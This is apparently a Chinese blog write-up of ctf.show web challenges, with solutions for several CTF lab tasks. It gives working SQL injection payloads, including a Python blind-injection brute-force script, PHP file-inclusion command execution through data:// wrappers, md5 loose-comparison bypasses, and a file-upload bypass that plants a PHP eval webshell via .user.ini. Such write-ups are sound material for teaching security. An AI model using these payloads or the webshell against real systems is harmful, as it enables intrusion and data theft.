ctf show web

kine 发布于 2025-11-18 117 次阅读


web2

一个sql注入,打开页面先试一下万能密码

admin' or 1=1#
  • 这个Payload的目的是让SQL查询条件恒真,从而绕过验证。

直接进去了,注入点存在,我们依然手注查字段数,使用联合查询

username=ctfshow' order by 3 #

试到3就成功了,说明字段数是3,接下来寻找回显位(寻找123,哪个位置会会返回数据)

username=ctfshow' union select 1,2,3 #

发现1会返回数据,使用1去获取数据库名

username=ctfshow' union select 1, database(), 3 #

返回了web2,我们直接查找这个数据库的所有表

username=ctfshow' union select 1, group_concat(table_name), 3 from information_schema.tables where table_schema='web2' #

发现有user flag两个表,直接获取flag表的字段名

username=ctfshow' union select 1, group_concat(column_name), 3 from information_schema.columns where table_name='flag' #

发现有一个flag的字段,我们读取他的值

username=ctfshow' union select 1, flag, 3 from flag # 或 username=ctfshow' union select 1, group_concat(flag), 3 from flag #

flag就会回显

web3

给了一个php代码

 <?php include($_GET['url']);?> 

代码意思就是

  • $_GET['url']:获取网址中 url 这个参数的值
  • include():将这个参数值当作文件路径,把该文件的内容包含进来并执行

你如果访问http://yoursite.com/page.php?url=header.php,那么服务器就会找到这个文件,把他包含到页面中

我们先执行ls,看一下有木有flag文件

?url=data://text/plain,<?php system('ls -la /');?>

发现没有,可能flag文件在这些文件里面,我们可以直接查询包含flag的文件

?url=data://text/plain,<?php system('find / -name "*flag*" 2>/dev/null');?>

发现有一个flag.sh的文件,可能是一个脚本,我们先读取一下

?url=data://text/plain,<?php system('/tmp/flag.sh');?>

发现这个脚本flag被插把入到了两个地方:

  • 文件 /var/www/html/ctf_go_go_go 中(替换了 flag_here
  • MySQL数据库的 web2 数据库的 flag 表中

我们直接文件就有flag了

?url=data://text/plain,<?php system('cat /var/www/html/ctf_go_go_go');?>

web4

给了同样一段代码,我们执行ls,果然被过滤了

(其实这题直接枚举flag, ?url=../flag.txt 就能直接出flag)

不管以怎样的方式输入命令都会报错或者直接返回原页面,唯一可行的就是读取系统的目录

?url=/etc/passwd

我们可以想到利用日志注入,修改UA为命令,每次访问日志就会执行命令

我们可以抓包修改header再用蚁🗡连接,也可以直接使用curl命令远程注入更方便

web5

给了一段php代码,是一个代码审计,

<?php
        $flag="";
        $v1=$_GET['v1'];
        $v2=$_GET['v2'];
        if(isset($v1) && isset($v2)){
            if(!ctype_alpha($v1)){
                die("v1 error");
            }
            if(!is_numeric($v2)){
                die("v2 error");
            }
            if(md5($v1)==md5($v2)){
                echo $flag;
            }
        }else{
        
            echo "where is flag?";
        }
    ?>

依次解释

$v1=$_GET['v1'];
$v2=$_GET['v2'];
  • 意思:从URL的GET参数中获取v1v2的值
  • 例子:如果访问?v1=abc&v2=123,那么$v1="abc", $v2="123"
if(isset($v1) && isset($v2)){
  • 意思:检查v1v2两个参数是否都设置了(不为空)
  • 作用:确保用户提供了两个必要的参数
if(!ctype_alpha($v1)){
    die("v1 error");
}
  • 意思:检查v1是否只包含字母字符
  • ctype_alpha():检测字符串是否只包含字母
  • !:逻辑非运算符
  • die():输出消息并终止程序
  • 要求v1必须是纯字母,如"abc",不能包含数字或特殊字符
if(!is_numeric($v2)){
    die("v2 error");
}
  • 意思:检查v2是否为数字
  • is_numeric():检测变量是否为数字或数字字符串
  • 要求v2必须是数字,如"123"或"123.45"
if(md5($v1)==md5($v2)){
    echo $flag;
}
  • 意思:比较v1v2的MD5哈希值,如果相等就输出flag
  • md5():计算字符串的MD5哈希值
  • ==:PHP的松散比较(类型转换比较)
  • 关键漏洞:这里使用==而不是===,可以利用MD5碰撞绕过

我们可以使用以0e开头后跟数字的MD5哈希碰撞,因为PHP的松散比较会将0e开头的字符串当作科学计数法处理,都等于0。

  • QNKCDZO → md5: 0e830400451993494058024219903391
  • 240610708 → md5: 0e462097431906509019562988736854

payload:?v1=QNKCDZO&v2=240610708

我们可以了解一下弱比较

二、弱类型比较(Loose Comparison)

1. 定义和特点

  • 使用 ==!=
  • 类型转换:比较前会自动进行类型转换
  • 隐式转换:PHP尝试将两边转换为相同类型后再比较
  • 安全性:存在安全风险,容易产生意外结果

2. 类型转换规则

php

// 字符串与数字比较
"123" == 123;      // true,字符串转数字
"123abc" == 123;   // true,字符串"123abc"转数字为123
"abc" == 0;        // true,非数字字符串转数字为0

// 布尔值比较
true == 1;         // true,true转数字为1
false == 0;        // true,false转数字为0
true == "1";       // true,字符串"1"转布尔为true
false == "";       // true,空字符串转布尔为false

// 科学计数法特殊案例
"0e123" == "0e456" // true,都被当作0
"0e123" == 0       // true,科学计数法0e123等于0

3. 经典弱比较漏洞案例

案例1:MD5碰撞

php

$hash1 = md5("240610708"); // "0e462097431906509019562988736854"
$hash2 = md5("QNKCDZO");   // "0e830400451993494058024219903391"

$hash1 == $hash2; // true,因为都以0e开头,被当作科学计数法的0

案例2:数字与字符串比较

php

"123" == 123;           // true
"123abc" == 123;        // true
"0123" == 123;          // true,八进制转换
"0x123" == 291;         // true,十六进制转换

案例3:数组比较

php

[] == false;            // true,空数组转布尔为false
[0] == false;           // false,非空数组转布尔为true
[0] == 0;               // true

4. 弱比较的转换表

类型1类型2比较结果转换规则
字符串"123"整数123true字符串转数字
字符串"abc"整数0true非数字字符串转0
布尔true整数1true布尔转数字
字符串"1"布尔truetrue字符串转布尔
数组[]布尔falsetrue空数组转false
null整数0truenull转数字为0

字符串到数字转换

// 规则1:如果字符串以合法数字开头,取开头数字部分
"123abc"   → 123
"3.14hello" → 3.14

// 规则2:科学计数法转换
"1e3"      → 1000
"2.5e2"    → 250
"0e123"    → 0  // 关键点!

// 规则3:非数字开头字符串转为0
"abc123"   → 0
"hello"    → 0

所以这个题原理大概是

"0e830400451993494058024219903391" == "0e462097431906509019562988736854"
// ↓ PHP的类型转换
0^830400451993494058024219903391 == 0^462097431906509019562988736854
// ↓ 数学计算
0 == 0
// ↓ 结果
true

web6

依然是一个sql,我们输入万能密码 'or 1=1# ,报错了,过滤了其中的东西,我们依次测试,发现输入'空格就会报错,'就不会,明显过滤了空格,可以使用注释符来代替空格

'or/**/1=1#

查字段数

'or/**/1=1/**/order/**/by/**/3#

字段数为3,查回显位

'union/**/select/**/1,2,3#

回显位为2,后面和web2大差不差了

web7

打开页面,给了个文章列表

发现不同文章,上面的id传参不同,估计是数值型sql注入,空格被过滤,同上题一样注释符代替,先查回显

使用  ?id=1/**/union/**/select/**/1,2,3#

回显为3

使用  ?id=3/**/union/**/select/**/1,database(),3#

得到库名为web7,列表名

使用 ?id=3/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema="web7"),3#

得到三个表flag,page,user,查询得到flag字段

使用  ?id=3/**/union/**/select/**/1,(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema="web7"/**/and/**/table_name="flag"),3#

查询flag字段

使用 ?id=3/**/union/**/select/**/1,(select/**/flag/**/from/**/flag/**/limit/**/0,1),3#

web8

发现还是同上题一样还是数值型注入,但是测试过滤了空格,and,union,逗号,联合查询也被过滤我们考虑布尔盲注

对应的绕过方法如下:

被过滤项绕过方法
空格使用注释 /**/ 或括号 () 绕过
逗号对于 substr(database(),1,1) 这类函数,可使用 substr(database() from 1 for 1) 语法替代
and使用 or 进行替代
unionunion 被过滤,无法使用联合查询,推荐使用布尔盲注

先查数据库长度

使用  ?id=0/**/or/**/length(database())=4#

长度为4,直接依次爆破表,字段内容

import requests
url='http://3266af28-dff6-4a94-ad0f-33a4197a7533.challenge.ctf.show/index.php?id=-1' 
payload1=url+"/**/or/**/ascii(substr(database()/**/from/**/{}/**/for/**/1))={}"
payload2=url+"/**/or/**/ascii(substr((select(table_name)from/**/information_schema.tables/**/where/**/table_schema=\"web8\"limit/**/1/**/offset/**/0)from/**/{}/**/for/**/1))={}"
payload3=url+"/**/or/**/ascii(substr((select(column_name)from/**/information_schema.columns/**/where/**/table_name=\"flag\"limit/**/1/**/offset/**/0)from/**/{}/**/for/**/1))={}"
payload=url+"/**/or/**/ascii(substr((select(flag)from/**/flag/**/limit/**/1/**/offset/**/0)from/**/{}/**/for/**/1))={}"
flag=''
str='1234567890abcdefghijklmnopqrstuvwxyz-{}'
for i in range(200):
 
    for j in str:
        res=requests.get(payload.format(i,ord(j)))
        # print(payload2.format(i,j))
        if('If' in res.text):
            flag=flag+j
            print(flag)
            if(j=='}'):
                break

会一个字符一个字符爆破完整flag

web9

打开是一个登录页面,万能密码没用,我们直接扫描一下后台发现有index.phps文件,下载过后是一段php代码

<?php
        $flag="";
		$password=$_POST['password'];
		if(strlen($password)>10){
			die("password error");
		}
		$sql="select * from user where username ='admin' and password ='".md5($password,true)."'";
		$result=mysqli_query($con,$sql);
			if(mysqli_num_rows($result)>0){
					while($row=mysqli_fetch_assoc($result)){
						 echo "登陆成功<br>";
						 echo $flag;
					 }
			}
    ?>

审计一下,password长度只要大于10就会报错,并且构造了一个sql,username是admin,但是password的哈希必须和数据库里admin的哈希匹配,并且

一般我们见到的写法是:


md5($password)      // 返回 "5f4dcc3b5aa765d61d8327deb882cf99" 这样的 32 字符串

而这个的代码是:


md5($password, true) // 返回 16 字节二进制

这样他会直接把这个返回拼进sql里,如果出现‘就会直接截断sql语句,原本是精确匹配,现在我们可以通过这个MD5去改掉这个sql,比如改成or1=1永真,这时候无论密码什么都能成功,给出具体转换

md5('ffifdyop')           // 十六进制字符串
=> "276f722736c95d99e921722cf9ed621c"

md5('ffifdyop', true)     // 二进制
=> b"'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c"

这样过后sql语句就变成了

SELECT * FROM user 
WHERE username = 'admin' 
  AND password = ''or'6É]™é!r,ùíb'

后面的乱码是一个非空字符串mysql会解析成true,所以这时就永真了,密码输入ffifdyop

web10

打开仍是一个登录界面,点击取消就能获得php代码

function replaceSpecialChar($strParam){
    $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
    return preg_replace($regex,"",$strParam);
}

if(strlen($username)!=strlen(replaceSpecialChar($username))){
    die("sql inject error");
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
    die("sql inject error");
}

$sql="select * from user where username = '$username'";
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){
    while($row=mysqli_fetch_assoc($result)){
        if($password==$row['password']){
            echo "登陆成功<br>";
            echo $flag;
        }
    }
}

审计代码意思

  • username / password 分别丢进 replaceSpecialChar
  • 会去掉:select|from|where|join|sleep|and|空白符|union|,
  • 如果过滤前后长度不一样,认为你“有注入”,直接 die("sql inject error")
  • 构造 SQL:

select * from user where username = '$username'
  • 查出来所有满足 username 条件的行,然后在 PHP 里判断:

if ($password == $row['password']) {
    // 登陆成功,输出 flag
}

过滤了很多东西,但是or和’都没有被过滤,显然我们还能构造a'OR'1'='1使其永真,语句会变成这样

select * from user where username = 'a'OR'1'='1'

但是这只会返回其他表,不再需要精确匹配,我们再输入拿到的password就行了,ok没有返回,但是我们又需要password,但是password又没参与sql的构造,emm经过我们搜索发现了一个进阶的技巧, GROUP BY + ROLLUP ,给出payload

username=admin'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup#&password=

/**/ 在 MySQL 里是注释,相当于空白,所以解析后大致等价于:


SELECT * FROM user
WHERE username = 'admin' OR 1=1
GROUP BY password WITH ROLLUP
# '   -- 后面的单引号被注释掉

效果:

  • OR 1=1:把条件变成恒真,直接查整个表;
  • GROUP BY password WITH ROLLUP:按 password 分组,并且在最后加一个汇总行(ROLLUP 行)。

所以 $result 里面是:

  • 每种 password 一行(分组后的行);
  • 再多一行 ROLLUP 行,其中分组列 passwordNULL

这时遍历到那条 ROLLUP 行时:


$password        // ""(你提交的空密码)
$row['password'] // NULL(ROLLUP 行里分组列为 NULL)

if ("" == NULL)  // 条件成立

此时密码为空就是正确password了,但我们并不是改变了sql修改了password的条件,而是本来username注入后后应该返回一些正确的password,但是题目并没返回,我们使其返回了一个空的password,此时就有了为空的正确password,可以比喻为

  • “不只给我真实用户卡片,你再帮我生成一张‘虚假的汇总卡片’,这张卡片上 password 字段留空(NULL)。”
  • 然后你又用 PHP 自带的宽松比较漏洞:

“在 PHP 的眼里:用户输入的空密码 "" 和卡片上的 NULL 是一样的(== true)。”

  • 于是程序看到这张“汇总卡片”,以为这是某个用户的真实密码匹配了,就放你进去了。

我们详细了解一下这个技巧

GROUP BY 是什么? 有什么用?

group by理解为按某些字段,把行分组,然后对每一组做统计/汇总

1.1 基本语法结构

典型写法:


SELECT dept, COUNT(*) AS cnt
FROM employees
GROUP BY dept;

含义:

  • GROUP BY dept:把表里的行,按照 dept 字段分成一堆“桶”(组);
  • 每个组里都是这个部门的员工;
  • COUNT(*) 统计每个组里有几行→也就是每个部门有几个人;
  • 最终一条组对应一行结果。

1.2 没有 GROUP BY 时,聚合是“全表一组”

SELECT COUNT(*) FROM employees;
  • 这个时候,没有 GROUP BY,整个表就是一个组;
  • COUNT(*) 返回的是“表中总行数”。

有了 GROUP BY,就是“按某一列或多列划分成很多组,每组分别做 COUNT/SUM/AVG 等”。

1.3 常见的聚合函数

GROUP BY 形影不离的,就是这些 聚合函数(Aggregate Functions)

  • COUNT(*):统计行数
  • SUM(col):求某列和
  • AVG(col):求平均值
  • MIN(col) / MAX(col):最小 / 最大
  • MySQL 特有的:GROUP_CONCAT(col):把同一组里的值拼接成一个字符串

二、GROUP BY 的执行逻辑

可以用一个“脑补过程”理解数据库在干嘛:

  1. 先根据 FROM / WHERE 筛选出目标行;
  2. 把这些行按照 GROUP BY 指定的列,分到不同的“组”里;
  3. 对每一个组:
  • 把组内的行交给聚合函数(COUNT/SUM/AVG 等);
  • 得出一个“汇总结果”;
  1. 每一组输出一行。

注意:

  • SELECT 里出现的列,如果不是聚合函数,就必须出现在 GROUP BY 中(SQL 标准要求;MySQL 一度比较宽松,但现在也大多要收紧)。
  • HAVING 是对“分组之后”的结果进行过滤,而 WHERE 是对“分组之前”的行过滤。

例如:


SELECT dept, COUNT(*) AS cnt
FROM employees
GROUP BY dept
HAVING COUNT(*) > 10;

含义:只保留那些“数量 > 10”的部门。

三、ROLLUP 是什么?

到了重点:ROLLUP 本质上是一个“在 GROUP BY 的结果基础上,自动帮你加小计/总计行的功能”。

MySQL 的写法有两种常见形式:

sql


复制编辑
GROUP BY col1, col2 WITH ROLLUP
-- 或
GROUP BY ROLLUP(col1, col2)        -- 在 MySQL 8.0 / 标准 SQL 中

3.1 普通 GROUP BY 和 ROLLUP 的对比

假设有一个销售表 sales


region | month | amount
-------+-------+--------
East   | Jan   | 100
East   | Feb   | 200
West   | Jan   | 150
West   | Feb   | 250

普通 GROUP BY:


SELECT region, month, SUM(amount) AS total
FROM sales
GROUP BY region, month;

结果:


region | month | total
-------+-------+------
East   | Jan   | 100
East   | Feb   | 200
West   | Jan   | 150
West   | Feb   | 250

就是“region + month”这一对做分组,每一对一行。

加上 WITH ROLLUP:


SELECT region, month, SUM(amount) AS total
FROM sales
GROUP BY region, month WITH ROLLUP;

结果会多出几行:


region | month | total
-------+-------+------
East   | Jan   | 100
East   | Feb   | 200
East   | NULL  | 300   -- East 的小计(100 + 200)

West   | Jan   | 150
West   | Feb   | 250
West   | NULL  | 400   -- West 的小计(150 + 250)

NULL   | NULL  | 700   -- 全表总计(所有 amount 之和)

关键现象:

  • GROUP BY region, month WITH ROLLUP
  • 先按 (region, month) 分组——普通结果部分;
  • 每个 region 聚合出一个 “region + NULL” 行(小计);
  • 最后整体一个 “NULL + NULL” 行(全表汇总)。

总子我的理解就是with rollup会产生一个为null的行,这种技术跳出了题目之外,但是我们依然可以进行更严格的防护,

// 1. 取输入并做基本处理
$username = $_POST['username'] ?? '';
$password = $_POST['password'] ?? '';

// 可选:去掉首尾空格
$username = trim($username);
$password = trim($password);

// 2. 使用预处理语句,禁止自己拼接
$stmt = $con->prepare('SELECT password FROM user WHERE username = ? LIMIT 1');
if (!$stmt) {
    // 这里可以记录日志,给用户返回一个通用错误
    die('Server error');
}

$stmt->bind_param('s', $username); // s = string
$stmt->execute();
$result = $stmt->get_result();

if ($row = $result->fetch_assoc()) {
    // 下面再做密码校验
} else {
    // 用户名不存在
    echo '用户名或密码错误';
}
  • 用户名不会被当作 SQL 代码执行,GROUP BY / WITH ROLLUP / 注释都只会当作普通字符串;
  • 多半数注入 payload,直接在数据库里变成 find username = "xxx" 失败,不再能改语句结构

web11

仍然是一段php代码

<?php
        function replaceSpecialChar($strParam){
             $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
             return preg_replace($regex,"",$strParam);
        }
        if(strlen($password)!=strlen(replaceSpecialChar($password))){
            die("sql inject error");
        }
        if($password==$_SESSION['password']){
            echo $flag;
        }else{
            echo "error";
        }
    ?>

过滤了一大堆东西,但是这个题根本就没有sql注入的地方,数据不会传入数据库,不过是误导你罢了,看到后面,发现只能输入password与session的password匹配,我们先抓包看下seesion有没

题目自己给了个123456,但是肯定是不正确的,看到cookie有个phpsessid,session的password存储在本地,我们直接把cookie删了,没有session找不到正确密码,再传个空密码,就是空=null了,刚好题目是松散比较,这时为真

web12

啥都没有,查看源代码发现有个用cmd传参的提示

我们通过cmd直接执行命令先试一下system() / exec() / eval()发现没有返回,应该是被过滤了

发现用?cmd=phpinfo();查询参数有返回这样可以执行命令了,

常见的php函数

1. 列目录 / 找文件名

  • scandir($path)
    返回一个数组,里面是目录下的文件名和目录名。

print_r(scandir('.'));      // 列出当前目录
print_r(scandir('..'));     // 列出上一级目录
  • opendir() + readdir() + closedir()
    手动遍历目录:

$dh = opendir('.');
while (($file = readdir($dh)) !== false) {
    echo $file . "\n";
}
closedir($dh);
  • glob($pattern)
    按通配符查匹配的文件名:

print_r(glob('*.php'));     // 当前目录下所有 php 文件
print_r(glob('../*flag*')); // 上级目录下名字里带 flag 的文件

2. 读取文件内容

  • file_get_contents($filename)
    直接一次性读出文件内容,返回字符串:

echo file_get_contents('somefile.txt');
  • readfile($filename)
    直接把文件内容输出(echo)出来,返回字节数:

readfile('somefile.txt');
  • highlight_file($filename) / show_source()
    高亮输出 PHP 源码(经常用来偷源码):

highlight_file('index.php');
show_source('config.php');

3. 获取路径信息

  • getcwd()
    获取当前工作目录:

echo getcwd();
  • __FILE__ / __DIR__
    当前脚本的完整路径 / 目录:

echo __FILE__;
echo __DIR__;
  • realpath($path)
    把路径规范化(../ 拼完之后的真实路径):

echo realpath('../flag');

回到题中

执行这个命令检查目录

?cmd=print_r(scandir('./'));

看到目录下有一个文件

可以

?cmd=highlight_file('index.php');

查看源代码,发现把传入的cmd直接被放进了eval函数,但是我们直接读取上面文件里源码就行

?cmd=show_source('903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php');

web13

打开是一个文件上传,不知道过滤规则,先用dieseach扫一下后台

dirsearch -u "https://1093cfd7-d8b8-4c7d-b53c-672f74fdd16f.challenge.ctf.show/" -e php,html,txt,bak,old,json -t 50

得到php文件

是上传的入口,尝试一下压缩文件获取,例如rar .zip .7z .tar.gz .bak .txt .old .temp,用bak找到源码

<?php 
	header("content-type:text/html;charset=utf-8");
	$filename = $_FILES['file']['name'];
	$temp_name = $_FILES['file']['tmp_name'];
	$size = $_FILES['file']['size'];
	$error = $_FILES['file']['error'];
	$arr = pathinfo($filename);
	$ext_suffix = $arr['extension'];
	if ($size > 24){
		die("error file zise");
	}
	if (strlen($filename)>9){
		die("error file name");
	}
	if(strlen($ext_suffix)>3){
		die("error suffix");
	}
	if(preg_match("/php/i",$ext_suffix)){
		die("error suffix");
    }
    if(preg_match("/php/i"),$filename)){
        die("error file name");
    }
	if (move_uploaded_file($temp_name, './'.$filename)){
		echo "文件上传成功!";
	}else{
		echo "文件上传失败!";
	}

 ?>
  1. 文件大小 ≤ 24 bytes
  2. 文件名长度 ≤ 9 字符
  3. 后缀长度 ≤ 3 字符
  4. 禁止后缀包含 php
  5. 禁止文件名包含 php

尝试使用了一些phpr文件后缀,以及使用 .htaccess 结合 .jpg 文件,都不行,查找资料发现一种文件包含的方式来绕过使用.user.ini文件自动包含的功能,注意文件前面的.不能省略

https://www.51cto.com/article/794900.html

测试txt文件能够成功上传,使用curl上传

# 创建文件
echo '<?=eval($_POST[a]);' > a.txt
echo 'auto_prepend_file=a' > .user.ini
# 查看所有文件
curl -k -X POST \
  "https://1093cfd7-d8b8-4c7d-b53c-672f74fdd16f.challenge.ctf.show/upload.php" \
  -d "a=print_r(glob('*'));"

读取的一堆乱码的文件,直接读取,直接使用highlight高亮语法来显示

curl -k -X POST \
  "https://1093cfd7-d8b8-4c7d-b53c-672f74fdd16f.challenge.ctf.show/upload.php" \
  -d "a=highlight_file('903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php');"
此作者没有提供个人介绍。
最后更新于 2025-11-18